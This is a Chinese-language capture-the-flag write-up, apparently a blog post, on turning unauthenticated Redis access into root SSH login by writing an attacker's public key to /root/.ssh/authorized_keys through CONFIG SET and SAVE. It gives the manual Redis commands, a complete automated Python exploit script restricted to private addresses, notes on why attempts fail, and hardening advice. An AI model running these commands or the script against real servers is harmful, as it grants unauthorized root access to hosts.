本文是上一篇Redis未授权访问导致远程代码执行的补充版,重点补充完整操作流程、每一步的作用、脚本执行逻辑、如何连接Redis、如何判断失败原因,以及如何最终读取
/root/flag.txt。
一、题目背景
题目给出了一个Redis服务地址:
redis://ip:6379
题目目标是利用Redis未授权访问进一步获取目标主机权限,并读取:
/root/flag.txt
本题的典型利用链是:
Redis未授权访问
↓
利用Redis持久化机制写文件
↓
写入/root/.ssh/authorized_keys
↓
通过SSH私钥登录root用户
↓
读取/root/flag.txt
这道题的核心不是单纯连接Redis,而是理解Redis为什么能被用来写文件,以及为什么写入SSH 公钥 后可以登录目标服务器。
二、考点分析
本题主要考察以下几个知识点:
1. Redis未授权访问判断
2. Redis RESP协议基础
3. Redis持久化机制
4. CONFIG SET dir / dbfilename的作用
5. SSH密钥登录机制
6. authorized_keys文件作用
7. Linux文件权限与Redis进程权限
8. flag文件读取方式
其中最关键的是:
Redis本身不能直接执行系统命令,但可以通过持久化功能写文件。如果Redis进程权限足够高,就可以把文件写到/root/.ssh/authorized_keys。一旦authorized_keys中存在我们的公钥,就可以用对应私钥登录root。
三、连接Redis
1. 安装 redis-cli
如果在 Linux 或WSL中操作,可以先安装Redis客户端工具:
sudo apt update
sudo apt install redis-tools -y
检查是否安装成功:
redis-cli --version
2. 连接Redis服务
题目给出的地址类似:
redis://ip:6379
使用redis-cli连接:
redis-cli -h ip -p 6379
如果是本地靶场:
redis-cli -h 127.0.0.1 -p 6379
如果是 Docker 靶场,需要先确认容器IP:
docker inspect 容器名 | grep IPAddress
然后连接:
redis-cli -h 172.17.0.2 -p 6379
3. 测试未授权访问
进入Redis交互模式后执行:
PING
如果返回:
PONG
说明Redis不需要认证,可以直接操作,也就是存在未授权访问。
如果返回:
NOAUTH Authentication required.
说明Redis需要密码,本题这条利用链无法直接继续。
四、读取Redis基础信息
确认未授权之后,不要急着写文件,先查看Redis基本配置:
INFO
CONFIG GET dir
CONFIG GET dbfilename
CONFIG GET protected-mode
CONFIG GET requirepass
重点关注:
dir Redis当前持久化保存目录
dbfilename Redis当前RDB保存文件名
protected-mode 是否开启保护模式
requirepass 是否设置密码
role Redis角色,常见为master
例如:
CONFIG GET dir
可能返回:
1) "dir"
2) "/var/lib/redis"
说明Redis默认把RDB文件保存在/var/lib/redis目录。
查看RDB 文件名 :
CONFIG GET dbfilename
可能返回:
1) "dbfilename"
2) "dump.rdb"
正常情况下,Redis会把内存数据保存成:
/var/lib/redis/dump.rdb
而我们的目标是让Redis保存成:
/root/.ssh/authorized_keys
所以后面需要修改:
dir = /root/.ssh/
dbfilename = authorized_keys
五、SSH公钥登录原理
SSH 密钥 登录依赖一对密钥:
私钥:保存在攻击机本地
公钥:写入目标服务器authorized_keys文件
对于root用户来说,SSH公钥认证文件是:
/root/.ssh/authorized_keys
如果这个文件里有我们的公钥,那么就可以使用对应的 私钥 登录:
ssh -i 私钥 root@目标IP
因此,本题的目标就变成了:
想办法把自己的SSH公钥写入目标服务器的/root/.ssh/authorized_keys
Redis的持久化功能刚好可以完成这个写文件动作。
六、手工利用流程
1. 本地生成SSH密钥
在攻击机上生成一对临时密钥:
ssh-keygen -t ed25519 -f ./redis_id_ed25519 -N ""
生成后会得到两个文件:
redis_id_ed25519 私钥
redis_id_ed25519.pub 公钥
查看公钥内容:
cat redis_id_ed25519.pub
公钥内容类似:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIxxxxxxxxxxxxxxxxxxxx user@host
2. 把公钥写入Redis键值
连接Redis:
redis-cli -h ip -p 6379
写入公钥时,建议在前后加空行,降低RDB文件脏数据对SSH解析的影响:
SET ssh_key "\n\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIxxxxxxxxxxxxxxxxxxxx user@host\n\n"
这一步只是把公钥写入Redis内存,还没有写入目标 服务器 文件系统。
3. 修改Redis持久化目录
执行:
CONFIG SET dir /root/.ssh/
这一步的作用是告诉Redis:
之后保存RDB文件时,把文件保存到/root/.ssh/目录。
如果返回:
OK
说明Redis进程有权限进入并写入这个目录。
如果返回:
Permission denied
说明Redis权限不足,SSH写入路线失败。
如果返回:
No such file or directory
说明目标上可能不存在/root/.ssh/目录。
4. 修改RDB文件名
执行:
CONFIG SET dbfilename authorized_keys
这一步的作用是告诉Redis:
保存出来的文件名叫authorized_keys。
结合上一步,Redis最终保存路径就变成:
/root/.ssh/authorized_keys
5. 触发持久化保存
执行:
SAVE
如果返回:
OK
说明Redis已经把当前数据库内容保存到了:
/root/.ssh/authorized_keys
此时目标root用户的SSH公钥认证文件中已经包含我们的公钥。
6. 使用私钥登录目标
退出Redis后,在本地执行:
chmod 600 ./redis_id_ed25519
ssh -i ./redis_id_ed25519 root@ip
如果登录成功,说明SSH公钥写入成功。
7. 读取flag
登录后执行:
cat /root/flag.txt
即可得到flag。
也可以不进入交互式shell,直接执行:
ssh -i ./redis_id_ed25519 root@ip "cat /root/flag.txt"
七、完整解题脚本
下面的脚本会自动完成:
- 检查目标是否为本地或私有网段
- 连接Redis
- 发送PING确认未授权
- 自动生成SSH密钥对
- 将公钥写入Redis
- 修改Redis保存目录为/root/.ssh/
- 修改RDB文件名为authorized_keys
- 触发SAVE保存
- 使用私钥SSH登录并读取/root/flag.txt
脚本仅允许本地或私有网段地址,避免误操作公网目标。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import sys
import socket
import ipaddress
import subprocess
import tempfile
from pathlib import Path
REDIS_PORT = 6379
SSH_PORT = 22
TIMEOUT = 5
def is_private_or_local(host: str) -> bool:
try:
ip = socket.gethostbyname(host)
addr = ipaddress.ip_address(ip)
return addr.is_private or addr.is_loopback or addr.is_link_local
except Exception:
return False
def resp_command(*args) -> bytes:
payload = f"*{len(args)}\r\n".encode()
for arg in args:
if isinstance(arg, str):
arg = arg.encode()
payload += b"$" + str(len(arg)).encode() + b"\r\n" + arg + b"\r\n"
return payload
def recv_all(sock: socket.socket) -> str:
sock.settimeout(TIMEOUT)
data = b""
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
if len(chunk) < 4096:
break
except socket.timeout:
pass
return data.decode(errors="ignore")
def redis_cmd(sock: socket.socket, *args) -> str:
sock.sendall(resp_command(*args))
return recv_all(sock)
def check_redis_unauth(sock: socket.socket) -> bool:
res = redis_cmd(sock, "PING")
print("[*] PING =>", res.strip())
if "PONG" in res:
print("[+] Redis未授权访问成立")
return True
if "NOAUTH" in res.upper():
print("[-] Redis需要认证,无法继续")
return False
print("[-] Redis返回异常,无法确认未授权")
return False
def generate_ssh_key() -> tuple[str, str]:
tmpdir = tempfile.mkdtemp(prefix="redis_ssh_")
key_path = os.path.join(tmpdir, "id_ed25519")
subprocess.check_call([
"ssh-keygen",
"-t", "ed25519",
"-f", key_path,
"-N", "",
"-q"
])
private_key = key_path
public_key = key_path + ".pub"
print(f"[+] 私钥: {private_key}")
print(f"[+] 公钥: {public_key}")
return private_key, public_key
def write_ssh_key(sock: socket.socket, public_key_path: str) -> bool:
pubkey = Path(public_key_path).read_text().strip()
payload = f"\n\n{pubkey}\n\n"
print("[*] 写入Redis键值")
res = redis_cmd(sock, "SET", "ssh_key", payload)
print(res.strip())
print("[*] 修改Redis持久化目录为 /root/.ssh/")
res = redis_cmd(sock, "CONFIG", "SET", "dir", "/root/.ssh/")
print(res.strip())
if "OK" not in res:
print("[-] 修改dir失败,可能Redis无权限写/root/.ssh/")
return False
print("[*] 修改dbfilename为 authorized_keys")
res = redis_cmd(sock, "CONFIG", "SET", "dbfilename", "authorized_keys")
print(res.strip())
if "OK" not in res:
print("[-] 修改dbfilename失败")
return False
print("[*] 触发SAVE写入authorized_keys")
res = redis_cmd(sock, "SAVE")
print(res.strip())
if "OK" not in res:
print("[-] SAVE失败")
return False
print("[+] SSH公钥写入完成")
return True
def ssh_read_flag(host: str, private_key: str):
print("[*] 尝试SSH读取 /root/flag.txt")
cmd = [
"ssh",
"-i", private_key,
"-p", str(SSH_PORT),
"-o", "StrictHostKeyChecking=no",
"-o", "UserKnownHostsFile=/dev/null",
"-o", "BatchMode=yes",
"-o", "ConnectTimeout=5",
f"root@{host}",
"cat /root/flag.txt"
]
try:
result = subprocess.run(
cmd,
text=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=15
)
print("\n========== FLAG RESULT ==========")
if result.stdout.strip():
print(result.stdout.strip())
else:
print("[-] 未读到flag")
print(result.stderr.strip())
print("=================================")
except Exception as e:
print(f"[-] SSH执行失败: {e}")
def main():
if len(sys.argv) < 2:
print(f"用法: python3 {sys.argv[0]} 127.0.0.1")
print(f"示例: python3 {sys.argv[0]} 192.168.56.101")
sys.exit(1)
host = sys.argv[1]
if not is_private_or_local(host):
print("[-] 为避免误打公网目标,脚本只允许本地/私有网段地址。")
print("[-] 允许范围:127.0.0.1、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16")
sys.exit(1)
print(f"[*] Target Redis: {host}:{REDIS_PORT}")
try:
sock = socket.create_connection((host, REDIS_PORT), timeout=TIMEOUT)
except Exception as e:
print(f"[-] Redis连接失败: {e}")
sys.exit(1)
try:
if not check_redis_unauth(sock):
return
private_key, public_key = generate_ssh_key()
ok = write_ssh_key(sock, public_key)
if not ok:
print("[-] SSH写入路线失败")
print("[*] 可能原因:")
print(" 1. Redis不是root权限运行")
print(" 2. /root/.ssh/目录不存在")
print(" 3. CONFIG命令被禁用")
print(" 4. SAVE命令被禁用")
return
ssh_read_flag(host, private_key)
finally:
sock.close()
if __name__ == "__main__":
main()
保存为:
redis_ssh_flag.py
运行:
python3 redis_ssh_flag.py 127.0.0.1
如果是Docker靶场:
python3 redis_ssh_flag.py 172.17.0.2
八、脚本逐步解释
1. 检查目标是否为私有地址
def is_private_or_local(host: str) -> bool:
这个函数用于判断目标是不是:
127.0.0.1
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
这样可以避免误操作公网目标。
2. 构造Redis 协议
def resp_command(*args) -> bytes:
Redis使用RESP协议通信。
例如:
PING
实际发送给Redis的数据是:
*1\r\n$4\r\nPING\r\n
脚本通过resp_command函数自动把普通命令转换成Redis能识别的协议格式。
3. 检测未授权访问
def check_redis_unauth(sock: socket.socket) -> bool:
脚本发送:
PING
如果返回:
PONG
说明Redis未授权访问成立。
4. 自动生成SSH密钥
def generate_ssh_key() -> tuple[str, str]:
脚本调用:
ssh-keygen -t ed25519
自动生成一对临时密钥:
id_ed25519 私钥
id_ed25519.pub 公钥
公钥用于写入目标服务器,私钥用于后续SSH登录。
5. 将公钥写入Redis
res = redis_cmd(sock, "SET", "ssh_key", payload)
这一步相当于执行:
SET ssh_key "公钥内容"
此时公钥只在Redis内存里。
6. 修改Redis保存目录
CONFIG SET dir /root/.ssh/
这一步决定文件保存位置。
如果成功,说明Redis有权限写入/root/.ssh/目录。
如果失败,说明SSH写公钥路线不可行。
7. 修改保存文件名
CONFIG SET dbfilename authorized_keys
这一步决定保存文件名。
结合上一步,最终保存路径为:
/root/.ssh/authorized_keys
8. 触发保存
SAVE
Redis把内存中的键值数据保存到磁盘。
最终结果是:
/root/.ssh/authorized_keys
中包含我们的SSH公钥。
9. SSH登录读取flag
ssh -i 私钥 root@ip "cat /root/flag.txt"
如果公钥写入成功,SSH会认为我们拥有root用户授权,可以直接执行命令读取flag。
九、常见失败原因
1. Redis连接失败
表现:
Redis连接失败
可能原因:
- Redis没有启动
- IP或端口错误
- Docker端口没有映射
- 防火墙拦截
- 靶场环境未启动
排查:
redis-cli -h ip -p 6379 ping
2. PING不返回PONG
如果返回:
NOAUTH Authentication required
说明Redis配置了密码,本题未授权路线不成立。
3. CONFIG SET dir失败
表现:
Permission denied
可能原因:
1. Redis不是root权限运行
2. Redis无权限写/root/.ssh/
3. /root/.ssh/目录不存在
4. Redis开启了保护配置
这时SSH写入路线失败,可以考虑:
- 尝试其他可写目录
- 尝试cron写入
- 尝试Web目录写入
- 尝试Redis主从复制模块利用
4. SAVE失败
可能原因:
- SAVE命令被禁用
- 持久化目录不可写
- 当前Redis配置不允许保存
- 磁盘权限不足
5. SSH登录失败
可能原因:
- 目标没有开放22端口
- 目标没有运行sshd
- root用户禁止SSH登录
- authorized_keys格式被RDB脏数据影响
- /root/.ssh/目录权限不符合SSH要求
- 私钥权限过宽,没有chmod 600
本地可以先执行:
chmod 600 redis_id_ed25519
然后再登录。
十、为什么有时候写入了authorized_keys仍然不能登录
Redis保存的RDB文件不是纯文本文件,它会包含一些二进制数据。我们写进去的公钥只是其中一部分。
所以authorized_keys最终可能长这样:
REDIS0009...二进制脏数据...
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIxxxxxxxxxxxx user@host
...二进制脏数据...
SSH解析authorized_keys时,只要能识别其中合法的一行公钥,就有可能登录成功。
因此写入公钥时通常会在前后加换行:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIxxxxxxxxxxxx user@host
这样可以提高SSH正确识别公钥的概率。
十一、完整解题逻辑总结
本题完整思路如下:
拿到Redis地址
↓
redis-cli连接6379端口
↓
执行PING
↓
返回PONG,确认未授权
↓
查看CONFIG GET dir和dbfilename
↓
本地生成SSH密钥对
↓
将公钥写入Redis键值
↓
CONFIG SET dir /root/.ssh/
↓
CONFIG SET dbfilename authorized_keys
↓
SAVE触发持久化
↓
使用私钥SSH登录root
↓
cat /root/flag.txt
↓
获得flag
十二、博客总结
本题是一个典型的Redis未授权访问利用题。Redis未授权访问本身只是入口,真正完成权限获取的是Redis的持久化写文件能力。通过控制Redis的保存目录和保存文件名,可以把我们写入Redis内存中的SSH公钥保存到目标服务器的/root/.ssh/authorized_keys文件中。随后使用对应私钥即可通过SSH登录root用户,并读取/root/flag.txt。
这条利用链成立需要满足几个条件:
- Redis未授权访问成立
- CONFIG SET命令可用
- Redis进程有权限写入/root/.ssh/
- SAVE命令可用
- 目标机器运行SSH服务
- root允许通过密钥登录
如果其中任意一个条件不满足,SSH写入路线都可能失败。此时需要根据实际环境转向其他利用方式,例如cron写入、Web目录写入或Redis主从复制模块RCE。
一句话总结:
Redis未授权不是直接getshell,而是利用Redis持久化写文件能力,把SSH公钥写进root的authorized_keys,再用私钥登录读取flag。
十三、修复建议
实际生产环境中应避免Redis暴露在公网,并进行以下加固:
- Redis只监听127.0.0.1或内网地址
- 开启protected-mode
- 配置强密码或ACL认证
- 防火墙限制6379端口访问来源
- Redis不要以root权限运行
- 禁用或重命名CONFIG、SAVE、SLAVEOF、REPLICAOF、MODULE等危险命令
- 定期检查/root/.ssh/authorized_keys是否被异常修改
- 检查Redis数据目录是否存在异常RDB文件
Redis配置示例:
bind 127.0.0.1
protected-mode yes
requirepass StrongPasswordHere
也可以限制危险命令:
rename-command CONFIG ""
rename-command SAVE ""
rename-command BGSAVE ""
rename-command SLAVEOF ""
rename-command REPLICAOF ""
rename-command MODULE ""
